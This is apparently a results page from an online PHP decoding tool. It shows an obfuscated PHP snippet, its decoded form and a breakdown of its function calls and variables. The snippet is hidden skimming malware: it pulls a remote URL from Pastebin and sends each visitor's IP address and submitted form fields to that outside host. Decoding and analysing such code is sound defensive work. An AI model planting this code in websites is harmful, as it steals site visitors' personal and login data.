Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $test = strrev(base64_decode('S1JxdEJzcGovd2FyL21vYy5uaWJldHNhcC8vOnNwdHRo')); ..

Decoded Output download

<?php 
 
 
$test = strrev(base64_decode('S1JxdEJzcGovd2FyL21vYy5uaWJldHNhcC8vOnNwdHRo')); function curl_get_contents($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); $data = curl_exec($ch); curl_close($ch); return $data; } if(file_get_contents($test) == '1'){ $getIt = 'file_get_contents'; }else if(curl_get_contents($test) == '1'){ $getIt = 'curl_get_contents'; } $filters = $getIt(strrev(base64_decode('R3ZFVDRMUmIvd2FyL21vYy5uaWJldHNhcC8vOnB0dGg='))); $filters = strrev(base64_decode($filters)); if(count($_POST)){ $filters .= getenv('REMOTE_ADDR') .'--'; foreach($_POST as $key => $pst ){ if(strlen($pst) < 128){ $filters .= $key."==[".$pst."]:"; } } $filters .= '&brand=' . $_POST['brand']; trim($filters," "); $filters = preg_replace('/\s+/', '', $filters); $getIt($filters); }  
?>

Did this file decode correctly?

Original Code

<?php


$test = strrev(base64_decode('S1JxdEJzcGovd2FyL21vYy5uaWJldHNhcC8vOnNwdHRo')); function curl_get_contents($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); $data = curl_exec($ch); curl_close($ch); return $data; } if(file_get_contents($test) == '1'){ $getIt = 'file_get_contents'; }else if(curl_get_contents($test) == '1'){ $getIt = 'curl_get_contents'; } $filters = $getIt(strrev(base64_decode('R3ZFVDRMUmIvd2FyL21vYy5uaWJldHNhcC8vOnB0dGg='))); $filters = strrev(base64_decode($filters)); if(count($_POST)){ $filters .= getenv('REMOTE_ADDR') .'--'; foreach($_POST as $key => $pst ){ if(strlen($pst) < 128){ $filters .= $key."==[".$pst."]:"; } } $filters .= '&brand=' . $_POST['brand']; trim($filters," "); $filters = preg_replace('/\s+/', '', $filters); $getIt($filters); } 
?>

Function Calls

count 1
getenv 1
strrev 3
base64_decode 3
file_get_contents 2

Variables

$test https://pastebin.com/raw/jpsBtqRK
$getIt file_get_contents
$filters

Stats

MD5 c7d394477f85f74d5489b0bd36ea69d3
Eval Count 0
Decode Time 60 ms